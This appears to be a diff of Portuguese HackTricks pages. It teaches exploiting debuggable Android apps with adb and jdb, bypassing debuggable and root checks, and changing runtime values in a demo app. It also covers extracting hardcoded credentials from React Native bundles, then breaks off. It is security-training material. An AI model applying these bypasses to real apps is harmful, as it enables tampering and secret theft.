Esses passos garantem coletivamente que o aplicativo possa ser depurado e que certas verificações de segurança possam ser burladas usando o depurador, facilitando uma análise ou modificação mais aprofundada do comportamento do aplicativo.
|
||||||
|
|
||||||
### Burlar verificações
|
O passo 2 envolve alterar um valor de flag para 814267972, que é representado em binário como 110000101101000000100010100.
|
||||||
|
|
||||||
Em algum momento, o app obterá informações sobre o app para verificar se é depurável e também procurará por alguns binários para ver se o celular está com root. Usando o depurador, é possível alterar as informações do app para desmarcar o bit depurável e também mudar os nomes dos binários procurados, de modo que essas verificações sejam burladas. Por exemplo, para a verificação de depurável:
|
## **Explorando uma Vulnerabilidade**
|
||||||
|
|
||||||
Passo 1 — Na seção de variáveis do console do depurador, navegue até "_**this mLoadedAPK -> mApplicationInfo -> flags = 814267974**_"
|
Uma demonstração foi fornecida usando um aplicativo vulnerável contendo um botão e um textview. Inicialmente, o aplicativo exibe "Crack Me". O objetivo é alterar a mensagem de "Try Again" para "Hacked" em tempo de execução, sem modificar o código-fonte.
|
||||||
|
|
||||||
<figure><img src="https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png" alt="" height="192" width="700"><figcaption><p>captura de tela 9</p></figcaption></figure>
|
### **Verificando Vulnerabilidade**
|
||||||
|
- O aplicativo foi descompilado usando `apktool` para acessar o arquivo `AndroidManifest.xml`.
|
||||||
|
- A presença de `android_debuggable="true"` no AndroidManifest.xml indica que o aplicativo é depurável e suscetível a exploração.
|
||||||
|
- Vale ressaltar que `apktool` é usado apenas para verificar o status depurável sem alterar nenhum código.
|
||||||
|
|
||||||
_**Nota: flags = 814267974 em bits binários é 11000011100111011110. Isso significa que “Flag_debuggable” está definido.**_
|
### **Preparando o Ambiente**
|
||||||
|
- O processo envolveu iniciar um emulador, instalar o aplicativo vulnerável e usar `adb jdwp` para identificar portas Dalvik VM que estão ouvindo.
|
||||||
|
- O JDWP (Java Debug Wire Protocol) permite a depuração de um aplicativo em execução em uma VM, expondo uma porta única.
|
||||||
|
- O encaminhamento de porta foi necessário para depuração remota, seguido pela conexão do JDB ao aplicativo alvo.
|
||||||
|
|
||||||
Passo 2 — Alterar o valor da flag para 814267972. Conversão de bits binários — 110000101101000000100010100.
|
### **Injetando Código em Tempo de Execução**
|
||||||
|
- A exploração foi realizada definindo pontos de interrupção e controlando o fluxo do aplicativo.
|
||||||
|
- Comandos como `classes` e `methods <nome_da_classe>` foram usados para descobrir a estrutura do aplicativo.
|
||||||
|
- Um ponto de interrupção foi definido no método `onClick`, e sua execução foi controlada.
|
||||||
|
- Os comandos `locals`, `next` e `set` foram utilizados para inspecionar e modificar variáveis locais, particularmente mudando a mensagem "Try Again" para "Hacked".
|
||||||
|
- O código modificado foi executado usando o comando `run`, alterando com sucesso a saída do aplicativo em tempo real.
|
||||||
|
|
||||||
## **Explorando uma vulnerabilidade**
|
Este exemplo demonstrou como o comportamento de um aplicativo depurável pode ser manipulado, destacando o potencial para explorações mais complexas, como obter acesso ao shell no dispositivo no contexto do aplicativo.
|
||||||
|
|
||||||
**A parte seguinte do post foi copiada de** [**https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications/#article**](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications/#article)
|
|
||||||
|
|
||||||
Para tornar este artigo mais interessante, desenvolvi uma aplicação vulnerável para fins de demonstração, que possui um “**botão**” e um “**textview**“.
|
|
||||||
|
|
||||||
Preencha o formulário abaixo para baixar o código associado a este artigo.
|
# Referências
|
||||||
|
* [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
||||||
Se lançarmos a aplicação, ela mostra a mensagem “**Crack Me**“.
|
* [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications)
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack1.png)
|
|
||||||
|
|
||||||
Figura 1
|
|
||||||
|
|
||||||
Se clicarmos no botão, ele diz “**Tente Novamente**“. Agora, nosso objetivo é mudar a mensagem “Tente Novamente” para “Hackeado” sem modificar o código-fonte da aplicação. Para ser preciso, temos que mudá-lo em tempo de execução.
|
|
||||||
|
|
||||||
### **Ferramentas necessárias**
|
|
||||||
|
|
||||||
* Emulador
|
|
||||||
* adb – Android Debug Bridge
|
|
||||||
* jdb – Java Debugger
|
|
||||||
|
|
||||||
No meu caso, para facilitar as instalações, estou usando o Android Tamer, pois todas as ferramentas acima necessárias já estão pré-instaladas.
|
|
||||||
|
|
||||||
### **Tópicos envolvidos**
|
|
||||||
|
|
||||||
* Verificação de Vulnerabilidade.
|
|
||||||
* Preparando-se com a Configuração.
|
|
||||||
* Injeção de Código em Tempo de Execução.
|
|
||||||
|
|
||||||
Vamos começar o jogo.
|
|
||||||
|
|
||||||
### **Verificação de vulnerabilidade**
|
|
||||||
|
|
||||||
Na verdade, esta é a parte mais fácil de todo o artigo.
|
|
||||||
|
|
||||||
* Decompilar a aplicação usando `apktool` para obter o arquivo `AndroidManifest.xml` usando o seguinte comando.
|
|
||||||
```bash
|
|
||||||
apktool d <vulnerableapp>.apk
|
|
||||||
```
|
|
||||||
* Inspecione o arquivo `Androidmanifest.xml` para a seguinte linha.
|
|
||||||
```bash
|
|
||||||
android_debuggable="true"
|
|
||||||
```
|
|
||||||
Se você encontrar a linha acima no arquivo AndroidManifest.xml, a aplicação é depurável e pode ser explorada.
|
|
||||||
|
|
||||||
**Nota:** Usamos `apktool` para verificar se o aplicativo é depurável ou não. Não vamos tocar ou modificar nenhum trecho de código, como mencionado anteriormente.
|
|
||||||
|
|
||||||
### **Preparando o ambiente**
|
|
||||||
|
|
||||||
Nesta etapa, vamos configurar tudo o que é necessário para injetar código no aplicativo durante sua execução. Como mencionado no artigo anterior, usaremos depuração remota neste artigo.
|
|
||||||
|
|
||||||
* Inicie seu Emulador
|
|
||||||
* Instale o aplicativo vulnerável
|
|
||||||
* Abra seu terminal e execute o seguinte comando para ver as portas da Dalvik VM que estão ouvindo no emulador.
|
|
||||||
|
|
||||||
_**adb jdwp**_
|
|
||||||
|
|
||||||
O comando acima exibe todas as portas nas quais podemos conectar e depurar, conforme mostrado abaixo.
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack2.png)
|
|
||||||
|
|
||||||
Figura 2
|
|
||||||
|
|
||||||
**Nota:** JDWP significa Java Debug Wire Protocol. Se um aplicativo em execução em sua VM é depurável, ele expõe uma porta única na qual podemos nos conectar usando JDB. Isso é possível em Máquinas Virtuais Dalvik com suporte de JDWP.
|
|
||||||
|
|
||||||
* Agora, inicie nosso aplicativo alvo e execute o mesmo comando para ver a porta de escuta associada ao nosso aplicativo alvo. Parece como mostrado abaixo.
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack3.png)
|
|
||||||
|
|
||||||
Figura 2
|
|
||||||
|
|
||||||
Se observarmos a diferença entre a Figura 2 e a Figura 3, há uma porta extra 543 ouvindo após o lançamento do aplicativo alvo na Figura 3. Vamos anexar o JDB ao aplicativo usando esta porta, já que este é nosso alvo.
|
|
||||||
|
|
||||||
* Antes de anexar ao aplicativo, precisamos encaminhar a porta usando adb, pois estamos usando depuração remota. Isso é mostrado na Figura 4.
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack4.png)
|
|
||||||
|
|
||||||
Figura 4
|
|
||||||
|
|
||||||
* Agora, vamos anexar o JDB ao aplicativo conforme mostrado na figura a seguir.
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack5.png)
|
|
||||||
|
|
||||||
Figura 5
|
|
||||||
|
|
||||||
### **Injeção de código em tempo de execução**
|
|
||||||
|
|
||||||
Nesta etapa, vamos realmente explorar o aplicativo vulnerável modificando seu comportamento em tempo de execução.
|
|
||||||
|
|
||||||
Para modificar o comportamento do aplicativo em tempo de execução, precisamos configurar pontos de interrupção e controlar o fluxo. Mas, não sabemos quais classes e métodos são usados no aplicativo. Então, vamos usar os seguintes comandos para descobrir as classes e métodos usados no aplicativo.
|
|
||||||
|
|
||||||
Para encontrar as classes: “**classes**”
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack6.png)
|
|
||||||
|
|
||||||
Figura 6.1
|
|
||||||
|
|
||||||
Como tenho muitas classes listadas, estou listando apenas algumas. Mas se você continuar rolando para baixo, verá algumas classes definidas pelo usuário interessantes, conforme mostrado na figura abaixo.
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack7.png)
|
|
||||||
|
|
||||||
Figura 6.2
|
|
||||||
|
|
||||||
Agora, vamos ver os métodos associados à classe MainActivity$1 usando o seguinte comando.
|
|
||||||
|
|
||||||
“_**methods com.example.debug.MainActivity$1**_”
|
|
||||||
|
|
||||||
Isso é mostrado na figura 7.
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack8.png)
|
|
||||||
|
|
||||||
Figura 7
|
|
||||||
|
|
||||||
Agora, vamos configurar um ponto de interrupção no método onClick e controlar a execução do aplicativo, conforme mostrado na Figura 8.
|
|
||||||
|
|
||||||
_**“stop in com.example.debug.MainActivity$1.onClick(android.view.View)”**_
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack9.png)
|
|
||||||
|
|
||||||
Figura 8
|
|
||||||
|
|
||||||
Para atingir o ponto de interrupção, teremos que clicar manualmente no botão no aplicativo. Uma vez após clicar no botão, o ponto de interrupção será atingido e aparecerá conforme mostrado na Figura 9.
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack10.png)
|
|
||||||
|
|
||||||
Figura 9
|
|
||||||
|
|
||||||
A partir daqui, poderemos controlar e ver os valores sensíveis, argumentos de métodos, etc., usando vários comandos.
|
|
||||||
|
|
||||||
Apenas para entender o que está acontecendo nos bastidores, estou seguindo o código associado ao método onClick, que é mostrado na Figura 10.
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack11.png)
|
|
||||||
|
|
||||||
Figura 10
|
|
||||||
|
|
||||||
Antes de prosseguir, vamos ver se há alguma variável local neste ponto usando o comando “**locals**“.
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack12.png)
|
|
||||||
|
|
||||||
Figura 11
|
|
||||||
|
|
||||||
Como podemos ver, não há informações interessantes para nós.
|
|
||||||
|
|
||||||
Então, vamos executar a próxima linha usando o comando “**next**”, conforme mostrado abaixo.
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack13.png)
|
|
||||||
|
|
||||||
Figura 12
|
|
||||||
|
|
||||||
Vamos tentar executar o comando “**locals**” novamente para ver o que aconteceu no comando anterior.
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack14.png)
|
|
||||||
|
|
||||||
Figura 13
|
|
||||||
|
|
||||||
Está bastante claro que TextView foi carregado nos argumentos do método. Se olharmos para o código-fonte fornecido na Figura 10, a linha associada à instanciação do TextView foi executada.
|
|
||||||
|
|
||||||
Vamos agora executar as próximas linhas executando o comando “**next**” e verificar as variáveis locais, conforme mostrado na figura abaixo.
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack15.png)
|
|
||||||
|
|
||||||
Figura 14
|
|
||||||
|
|
||||||
Como podemos ver, todas as variáveis locais foram exibidas. A string “**secret**” parece interessante. O valor “Try Again” é o que vai ser impresso quando clicarmos no botão.
|
|
||||||
|
|
||||||
Da Figura 10, está muito claro que o método **setText** está sendo executado para imprimir o valor “**Try Again**“. Então, vamos usar o comando “**step**” para entrar na definição do método “**setText**” e modificar dinamicamente o texto a ser impresso.
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack16.png)
|
|
||||||
|
|
||||||
Figura 15
|
|
||||||
|
|
||||||
Vamos ver as variáveis locais dentro da definição usando “**locals**“.
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack17.png)
|
|
||||||
|
|
||||||
Figura 16
|
|
||||||
|
|
||||||
Agora, vamos mudar o valor de “**text**” de “**Try Again**” para “**Hacked**” usando o comando “**set**”.
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack18.png)
|
|
||||||
|
|
||||||
Figura 17
|
|
||||||
|
|
||||||
Não podemos ver nenhuma mudança no aplicativo, pois ainda não executamos o código modificado.
|
|
||||||
|
|
||||||
Então, vamos executar o aplicativo usando o comando “**run**”, conforme mostrado abaixo, e ver a saída do aplicativo em sua tela.
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack19.png)
|
|
||||||
|
|
||||||
Figura 18
|
|
||||||
|
|
||||||
Vamos olhar para o aplicativo em execução no emulador.
|
|
||||||
|
|
||||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack20.png)
|
|
||||||
|
|
||||||
Figura 19
|
|
||||||
|
|
||||||
Modificamos com sucesso a saída do aplicativo em tempo de execução. Este é apenas um exemplo para mostrar como o comportamento de um aplicativo pode ser modificado se o aplicativo for depurável. Podemos realizar várias outras coisas, incluindo “**Obter um shell**” no dispositivo no contexto do aplicativo vulnerável.
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda AWS hacking do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga** me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,71 +1,64 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
# Análise de Aplicativo React Native
|
||||||
|
|
||||||
**Informação copiada de** [**https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7**](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7)
|
Para confirmar se o aplicativo foi construído com o framework React Native, siga estes passos:
|
||||||
|
|
||||||
React Native é um **framework de aplicativo móvel** que é mais comumente usado para desenvolver aplicativos para **Android** e **iOS** ao permitir o uso do React e das capacidades da plataforma nativa. Nos dias de hoje, tornou-se cada vez mais popular usar o React em várias plataformas.\
|
1. Renomeie o arquivo APK com uma extensão zip e extraia-o para uma nova pasta usando o comando `cp com.example.apk example-apk.zip` e `unzip -qq example-apk.zip -d ReactNative`.
|
||||||
Mas na maioria das vezes, a lógica principal do aplicativo está no **JavaScript do React Native que pode ser obtido** sem precisar usar o dex2jar.
|
|
||||||
|
|
||||||
## **Passo 1**: Vamos confirmar se o aplicativo foi construído no framework React Native.
|
2. Navegue até a pasta ReactNative recém-criada e localize a pasta assets. Dentro desta pasta, você deve encontrar o arquivo `index.android.bundle`, que contém o JavaScript do React em formato minificado.
|
||||||
|
|
||||||
Para verificar isso, renomeie o APK com a extensão zip e extraia o APK para uma nova pasta usando o seguinte comando
|
3. Use o comando `find . -print | grep -i ".bundle$"` para procurar o arquivo JavaScript.
|
||||||
```
|
|
||||||
cp com.example.apk example-apk.zip
|
|
||||||
unzip -qq example-apk.zip -d ReactNative
|
|
||||||
```
|
|
||||||
Navegue até a pasta `ReactNative` recém-criada e encontre a pasta `assets`. Dentro desta pasta, deve conter o arquivo `index.android.bundle`. Este arquivo conterá todo o JavaScript do React em um **formato minificado**. Engenharia reversa do React Native.
|
|
||||||
```bash
|
|
||||||
find . -print | grep -i ".bundle$"
|
|
||||||
```
|
|
||||||
![Imagem para postagem](https://miro.medium.com/max/1559/1\*enjF2H7PclRAIcNCxDIOJw.png)
|
|
||||||
|
|
||||||
## **Passo 2**: Criando um arquivo chamado `index.html` no mesmo diretório com o seguinte código.
|
Para analisar mais a fundo o código JavaScript, crie um arquivo chamado `index.html` no mesmo diretório com o seguinte código:
|
||||||
|
```html
|
||||||
Você pode fazer upload do arquivo para [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/) ou prosseguir com os seguintes passos:
|
|
||||||
```markup
|
|
||||||
<script src="./index.android.bundle"></script>
|
<script src="./index.android.bundle"></script>
|
||||||
```
|
```
|
||||||
![Imagem para postagem](https://miro.medium.com/max/1526/1\*Qrg2jrXF8UxwbbRJJVWmRw.png)
|
Você pode fazer o upload do arquivo para [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/) ou seguir estes passos:
|
||||||
|
|
||||||
Abra o arquivo **index.html** no **Google Chrome**. Abra a barra de ferramentas do desenvolvedor (**Command+Option+J para OS X ou Control+Shift+J para Windows**), e clique em "Sources". Você deve ver um arquivo JavaScript, dividido em pastas e arquivos que compõem o pacote principal.
|
1. Abra o arquivo `index.html` no Google Chrome.
|
||||||
|
|
||||||
> Se você conseguir encontrar um arquivo chamado `index.android.bundle.map`, você poderá analisar o código-fonte em um formato não minificado. Os arquivos `map` contêm o mapeamento de origem que permite mapear identificadores minificados.
|
2. Abra a Barra de Ferramentas do Desenvolvedor pressionando **Command+Option+J para OS X** ou **Control+Shift+J para Windows**.
|
||||||
|
|
||||||
## **Passo 3**: procurar por credenciais e endpoints sensíveis
|
3. Clique em "Sources" na Barra de Ferramentas do Desenvolvedor. Você deve ver um arquivo JavaScript que está dividido em pastas e arquivos, formando o pacote principal.
|
||||||
|
|
||||||
Nesta fase, você deve identificar as **palavras-chave sensíveis** para analisar o código **Javascript**. Um padrão popular com aplicativos React Native é o uso de serviços de terceiros, como Firebase, endpoints de serviços AWS s3, chaves privadas, etc.
|
Se você encontrar um arquivo chamado `index.android.bundle.map`, você poderá analisar o código-fonte em um formato não minificado. Arquivos de mapa contêm mapeamento de fonte, que permite mapear identificadores minificados.
|
||||||
|
|
||||||
Durante meu processo inicial de **reconhecimento**, observei o aplicativo usando o serviço Dialogflow. Então, com base nisso, procurei um padrão relacionado à sua configuração. Felizmente, consegui encontrar **credenciais sensíveis codificadas** no código Javascript.
|
Para procurar por credenciais sensíveis e endpoints, siga estes passos:
|
||||||
|
|
||||||
![Imagem para postagem](https://miro.medium.com/max/2086/1\*RAToFnqpp9ndM0lBeMlz6g.png)
|
1. Identifique palavras-chave sensíveis para analisar o código JavaScript. Aplicações React Native frequentemente usam serviços de terceiros como Firebase, endpoints do serviço AWS S3, chaves privadas, etc.
|
||||||
|
|
||||||
|
2. Neste caso específico, observou-se que a aplicação estava usando o serviço Dialogflow. Procure por um padrão relacionado à sua configuração.
|
||||||
|
|
||||||
|
3. Foi afortunado que credenciais sensíveis codificadas foram encontradas no código JavaScript durante o processo de reconhecimento.
|
||||||
|
|
||||||
|
No geral, seguindo estes passos, você pode analisar uma aplicação React Native, confirmar seu framework e procurar por informações sensíveis potenciais dentro do código.
|
||||||
|
|
||||||
|
# Referências
|
||||||
|
* [https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**merchandising oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -8,9 +8,9 @@ Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -25,52 +25,40 @@ PORT STATE SERVICE
|
||||||
|
|
||||||
## Interceptação da Chave de Autenticação
|
## Interceptação da Chave de Autenticação
|
||||||
|
|
||||||
